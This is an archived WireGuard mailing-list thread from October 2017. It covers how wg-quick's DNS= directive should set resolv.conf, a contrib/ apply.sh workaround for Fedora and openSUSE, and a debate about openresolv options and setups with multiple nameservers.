* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-25 22:43 Fixing wg-quick's DNS= directive with a hatchet Jason A. Donenfeld ` (4 preceding siblings ...) 2017-10-26 16:56 ` Joe Doss @ 2017-10-31 10:49 ` Jason A. Donenfeld 5 siblings, 0 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-31 10:49 UTC (permalink / raw) To: WireGuard mailing list, Martin Hauke, Joe Doss Hello everybody, I have committed the DNS hatchet! But in compromise-form: https://git.zx2c4.com/WireGuard/commit/?id=f042be244a98a8d854d4b89353190d1673f5f814 Distributions that still need to use it (such as Fedora and OpenSUSE) can call the apply.sh script in contrib/ to modify things. Everybody else will keep functioning like before. When no more distributions need the hatchet, I'll remove it from contrib/. Advantages of this approach: - Distributions don't have to maintain it, but still are responsible for it by virtue of choosing to apply it. - It doesn't pollute wg-quick.bash itself. - It's more arguably removable later, since it only lives in contrib/. So, I'll release a new snapshot soon, and I'll expect to see future RPMs run apply.sh prior to make install, until they have a more enterprisey solution available to them. Glad we worked this out! Thanks everyone for their helpful input. Regards, Jason ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet
@ 2017-10-26 19:58 Geo Kozey
2017-10-26 21:11 ` Jason A. Donenfeld
0 siblings, 1 reply; 40+ messages in thread
From: Geo Kozey @ 2017-10-26 19:58 UTC (permalink / raw)
To: wireguard
On Thu, 26 Oct 2017, Jason A. Donenfeld wrote:
>Before I describe the hatchet, though, it might be worthwhile to
>remind ourselves of the three goals of DNS setting in this
>environment: a) be the exclusive DNS entry, b) restore the previous
>settings when the wireguard interface is removed, and c) not allow
>other things on the system (like roving dhcp daemons) to overwrite our
>settings.
What about usecases where more nameservers are needed, i.e. local nameserver used for caching, adblocking or whatever?
^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-26 19:58 Geo Kozey @ 2017-10-26 21:11 ` Jason A. Donenfeld 2017-10-26 22:01 ` Geo Kozey 0 siblings, 1 reply; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-26 21:11 UTC (permalink / raw) To: Geo Kozey; +Cc: WireGuard mailing list On Thu, Oct 26, 2017 at 9:58 PM, Geo Kozey <geokozey@mailfence.com> wrote: > What about usecases where more nameservers are needed, i.e. local nameserver used for caching, adblocking or whatever? Presumably those users wouldn't be using DNS= anyways, since they'd want a fixed resolv.conf with the address of their local nameserver. So, that's outside the scope of this discussion. ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-26 21:11 ` Jason A. Donenfeld @ 2017-10-26 22:01 ` Geo Kozey 2017-10-26 22:19 ` Jason A. Donenfeld 0 siblings, 1 reply; 40+ messages in thread From: Geo Kozey @ 2017-10-26 22:01 UTC (permalink / raw) To: wireguard > From: Jason A. Donenfeld <Jason@zx2c4.com> > Sent: Thu Oct 26 23:11:02 CEST 2017 > To: Geo Kozey <geokozey@mailfence.com> > Subject: Re: Fixing wg-quick's DNS= directive with a hatchet > > > On Thu, Oct 26, 2017 at 9:58 PM, Geo Kozey <geokozey@mailfence.com> wrote: > > What about usecases where more nameservers are needed, i.e. local nameserver used for caching, adblocking or whatever? > > Presumably those users wouldn't be using DNS= anyways, since they'd > want a fixed resolv.conf with the address of their local nameserver. > So, that's outside the scope of this discussion. > ---------------------------------------- No, with fixed resolv.conf pointing to local namserver only there would be no DNS resolution as your cache has to come from somewhere. I'm talking specifically about local nameserver without external connectivity but I think users may want to use their own static nameservers with dynamic one which they get from wg for whatever reason. Having to chose one over another as only possibility isn't best solution IMO. G.K. ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-26 22:01 ` Geo Kozey @ 2017-10-26 22:19 ` Jason A. Donenfeld 2017-10-26 22:52 ` Geo Kozey 0 siblings, 1 reply; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-26 22:19 UTC (permalink / raw) To: Geo Kozey; +Cc: WireGuard mailing list On Thu, Oct 26, 2017 at 11:53 PM, Geo Kozey <geokozey@mailfence.com> wrote: > No, with fixed resolv.conf pointing to local namserver only there would b= e no DNS resolution as your cache has to come from somewhere. I'm talking s= pecifically about local nameserver without external connectivity but I thin= k users may want to use their own static nameservers with dynamic one which= they get from wg for whatever reason. Having to chose one over another as = only possibility isn't best solution IMO. Usually people who do this usually point their cache toward the remote tunneled nameserver, via, say, dnsmasq's -S option. Some people do indeed enjoy multiple entries in their resolv.conf and rely on this generally buggy behavior, which means you could make an argument that I shouldn't be using openresolv's "-x" option, and maybe you'd have a case. But I don't care for nobs, and those powerusers probably don't want wg-quick anyway or can just use PostUp. In any case, this is a different issue from what this thread is trying to determine, so if you'd like to bikeshed -x vs -m and options and whatnot in openresolv, please do so on an entirely different thread with a different subject. ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-26 22:19 ` Jason A. Donenfeld @ 2017-10-26 22:52 ` Geo Kozey 0 siblings, 0 replies; 40+ messages in thread From: Geo Kozey @ 2017-10-26 22:52 UTC (permalink / raw) To: Jason A. Donenfeld; +Cc: WireGuard mailing list > From: Jason A. Donenfeld <Jason@zx2c4.com> > Sent: Fri Oct 27 00:19:27 CEST 2017 > To: Geo Kozey <geokozey@mailfence.com> > Subject: Re: Fixing wg-quick's DNS= directive with a hatchet > > > On Thu, Oct 26, 2017 at 11:53 PM, Geo Kozey <geokozey@mailfence.com> wrote: > > No, with fixed resolv.conf pointing to local namserver only there would be no DNS resolution as your cache has to come from somewhere. I'm talking specifically about local nameserver without external connectivity but I think users may want to use their own static nameservers with dynamic one which they get from wg for whatever reason. Having to chose one over another as only possibility isn't best solution IMO. > > Usually people who do this usually point their cache toward the remote > tunneled nameserver, via, say, dnsmasq's -S option. Some people do > indeed enjoy multiple entries in their resolv.conf and rely on this > generally buggy behavior, which means you could make an argument that > I shouldn't be using openresolv's "-x" option, and maybe you'd have a > case. But I don't care for nobs, and those powerusers probably don't > want wg-quick anyway or can just use PostUp. > > In any case, this is a different issue from what this thread is trying > to determine, so if you'd like to bikeshed -x vs -m and options and > whatnot in openresolv, please do so on an entirely different thread > with a different subject. > ---------------------------------------- The thing is if "openresolv -x" isn't best solution then this thread with your patch can go straight to /dev/null. You wrote yourself that you don't care about nobs and power users won't use it anyway so what's the point?. Especially as distro maintainers are against all of this. IMO "openresolv -x" is usable for preventing people who have no idea what they doing from shooting themselves in foot. Powerusers most of the time will choose full control over what is and what isn't in their resolv.conf. G.K. ^ permalink raw reply [flat|nested] 40+ messages in thread
end of thread, other threads:[~2017-10-31 10:47 UTC | newest] Thread overview: 40+ messages (download: mbox.gz / follow: Atom feed) -- links below jump to the message on this page -- 2017-10-25 22:43 Fixing wg-quick's DNS= directive with a hatchet Jason A. Donenfeld 2017-10-25 23:37 ` Kalin KOZHUHAROV 2017-10-26 0:55 ` Jason A. Donenfeld 2017-10-26 1:32 ` [PATCH] wg-quick: use bind mount for DNS when no openresolv Jason A. Donenfeld 2017-10-26 1:53 ` Kalin KOZHUHAROV 2017-10-26 1:54 ` Jason A. Donenfeld 2017-10-26 13:41 ` [PATCH v2] " Jason A. Donenfeld 2017-10-26 2:54 ` Fixing wg-quick's DNS= directive with a hatchet Eric Light 2017-10-26 3:21 ` Jason A. Donenfeld 2017-10-26 13:11 ` Jason A. Donenfeld 2017-10-26 16:56 ` Joe Doss 2017-10-26 17:24 ` Jason A. Donenfeld 2017-10-26 21:22 ` Jason A. Donenfeld 2017-10-27 10:07 ` Martin Hauke 2017-10-27 13:22 ` Jason A. Donenfeld 2017-10-27 14:47 ` Joe Doss 2017-10-27 14:51 ` Jason A. Donenfeld 2017-10-27 15:02 ` Jason A. Donenfeld 2017-10-27 15:38 ` Joe Doss 2017-10-27 22:04 ` Bruno Wolff III 2017-10-27 15:38 ` Joe Doss 2017-10-27 17:15 ` Jason A. Donenfeld 2017-10-27 17:52 ` Jason A. Donenfeld 2017-10-27 22:06 ` Daniel Kahn Gillmor 2017-10-28 2:24 ` Jason A. Donenfeld 2017-10-28 2:39 ` Jason A. Donenfeld 2017-10-28 14:35 ` Daniel Kahn Gillmor 2017-10-28 17:57 ` Jason A. Donenfeld 2017-10-29 12:21 ` Geo Kozey 2017-10-29 17:07 ` Jason A. Donenfeld 2017-10-30 11:58 ` Daniel Kahn Gillmor 2017-10-30 12:10 ` Daniel Kahn Gillmor 2017-10-29 22:06 ` Jason A. Donenfeld 2017-10-30 12:16 ` Daniel Kahn Gillmor 2017-10-31 10:49 ` Jason A. Donenfeld 2017-10-26 19:58 Geo Kozey 2017-10-26 21:11 ` Jason A. Donenfeld 2017-10-26 22:01 ` Geo Kozey 2017-10-26 22:19 ` Jason A. Donenfeld 2017-10-26 22:52 ` Geo Kozey
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox; as well as URLs for NNTP newsgroup(s).